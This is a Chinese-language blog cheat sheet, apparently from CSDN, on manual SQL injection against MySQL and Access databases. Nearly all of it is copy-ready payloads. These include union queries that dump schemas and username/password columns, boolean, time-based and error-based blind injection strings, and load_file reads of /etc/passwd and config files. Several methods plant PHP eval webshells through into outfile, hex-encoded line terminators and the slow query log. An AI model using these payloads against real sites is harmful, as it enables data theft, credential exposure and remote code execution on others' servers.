mysql+access数据库手工注入

mysql+access数据库手工注入

  • 所有的玩笑里都藏着认真.

注入可以分很多种
根据数据类型
1,整形注入
2,字符型注入
3,搜素型注入
根据注入语法
1,可联合查询注入
2,可多语句查询注入
3,报错型注入
4,布尔型注入
5,基于时间延迟注入
6,宽字节注入 (前提字符型注入 ,gbk %df(查gbk表)和%27单引号 生成汉字)

mysql注入:

  • 常用函数:
system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003

  • 两个读写函数load_file() MYSQL和into outfile( )
    文件类操作函数都与 secure_file_priv 的值有关,secure_file_priv 是用来限制各文件操作函数在哪个目录下拥有上传或者读取文件的权限。默认的secure_file_priv的值默认为NULL。
    可以利用show global variables like 'secure%';查看
    当 secure_file_priv 的值为 NULL ,表示限制各种操作,此时无法提权
    当 secure_file_priv 的值为 /目录/ ,表示限制各种操作只能发生在指定目录下,此时也无法提权
    当 secure_file_priv 的值为空时,表示没有限制。

load_file( )函数 读文件操作

前提: • 知道文件绝对路径 • 能够使用union查询 • 对web目录有写权限  (路径必须加双斜线//)
UNION SELECT 1,load_file('/etc/passwd'),3,4,5,6# 
UNION SELECT 1,load_file('D://phpStudy//WWW//conn.php'),3,4,5,6
UNION SELECT 1,load_file(0x443A2F2F70687053747564792F2F5757572F2F636F6E6E2E706870),3,4,5,6

into_outfile( )写文件操作

前提: • 文件名必须全路径(绝对路径)• 用户必须有写文件的权限• 没有对 ‘ 单引号过滤
SELECT '<?php eval($_POST[1]); ?>' into outfile ' D://phpStudy//WWW//hack.php '
  • 联合查询注入:
列库:union select 1,2,group_concat(schema_name),4,5,6 from information_schema.schemata -- 
列表:union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='库名'  -- 
列字段:union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_shcema='库名' and table_name= '表名'-- 
列数据:union select 1,2,group_concat(concat_ws(%26,username,password)),4,5,6 from 表名 -- 
  • 布尔注入:
判断数据库:and (ascii(substr(database(),1,1)))>101--
判断表:and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))) >96--
判断字段:and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 1,1) ,1,1)))>1-- + 
判断数据:and (ascii(substr((select username from admins limit 1),1,1)))>1-- 
  • 延时注入:
and if(  (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))> 32) ,sleep(5),1)
  • 报错注入(10个)
1.floor()
 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

  • order by 注入

当用户提供的数据通过MySQL的“Order By”语句中的值进行传递时,如果可控制的位置在order by子句后,如order参数可控:select * from xxxxx order by $_GET[‘order’]可能就会引发order by注入

if语句
IF(1=1,name,id) 通过name字段排序
IF(1=2,name,id) 通过id字段排序

case语句
case 列名
when   条件值1   then  选项1
when   条件值2   then  选项2
else   默认值    end
(CASE+WHEN+(1=1)+THEN+name+ELSE+id+END) 通过name字段排序
(CASE+WHEN+(1=2)+THEN+name+ELSE+id+END) 通过id字段排序

IFNULL()语句
IFNULL() 判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个参数的值,所以也可以通过IFNULL来排序,甚至构造恶意语句
IFNULL(NULL,id) 通过id字段排序
IFNULL(NULL,name) 通过name字段排序

返回多条记录
IF(1=1,1,(select+1+union+select+2)) 正确
IF(1=2,1,(select+1+union+select+2)) 错误

报错
(select+1+regexp+if(1=1,1,0x00)) 正常
(select+1+regexp+if(1=2,1,0x00)) 错误
extractvalue(1,if(1=1,1,user())) 正确
extractvalue(1,if(1=2,1,user())) 错误
updatexml(1,if(1=1,1,user()),1)  正确
updatexml(1,if(1=2,1,user()),1) 错误

基于时间的盲注
如果直接if(1=2,1,SLEEP(2)),sleep时间将会变成2*当前表中记录的数目,将会对服务器造成一定的拒绝服务攻击
if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒


数据猜解
以猜解user()即root@localhost为例子,由于只能一位一位猜解,可以利用SUBSTR,SUBSTRING,MID,以及left和right可以精准分割出每一位子串。然后就是比较操作了可以利用=,like,regexp等。这里要注意like是不区分大小写

通过下可以得知user()第一位为r,ascii码的16进制为0x72

(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确
(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误
猜解当前数据的表名

(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1)=0x67,1,0x00))  正确
(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1)=0x66,1,0x00)) 错误
猜解指定表名中的列名

(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema=database()+and+table_name=0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常
(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema=database()+and+table_name=0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误
  • 写WebShell
    前提:secure_file_priv空、数据库用户操作File权限、获取物理路径。
    1、Union select 写入
    前提为union注入,
?id=1 union select 1,"<?php @eval($_POST[123]);?>",3 into outfile 'E:/study/WWW/1.php'
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/1.php"
2、利用分隔符写入(--os-shell)
	union无法用,多用于注入点为盲注或报错
?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/1.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27--
?id=1 INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' lines starting by    (一句话hex编码)#

3、利用log
前提连接数据库
show variables like ‘%slow%’;
set GLOBAL slow_query_log=on;
set global slow_query_log_file = ‘c:/aaa/www/1.php’;
select ‘<?php eval($_POST[cmd]);?>’ from mysql.db where sleep(10);

Access注入:

Access数据库只有一个数据库,然后就是表、列、数据
针对于access数据库有几种方法,例如联合查询法和逐字猜解法以及偏移注入。

  • 联合查询法:
order by  -》union select 1,2,3,4 from 表名
  • 逐字猜解法:
首先判断是否存在表名
and exists (select * from 表名)
然后查看列名
and exists (select 列名 from 表名)
然后确认长度,进而猜测数据
and (select top 1 len(列名) from admin) =6
通过ascii查询数据
and (select top 1 asc(mid(列名,1-n,1)) from admin) =97
**余生很长,请多指教。**

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值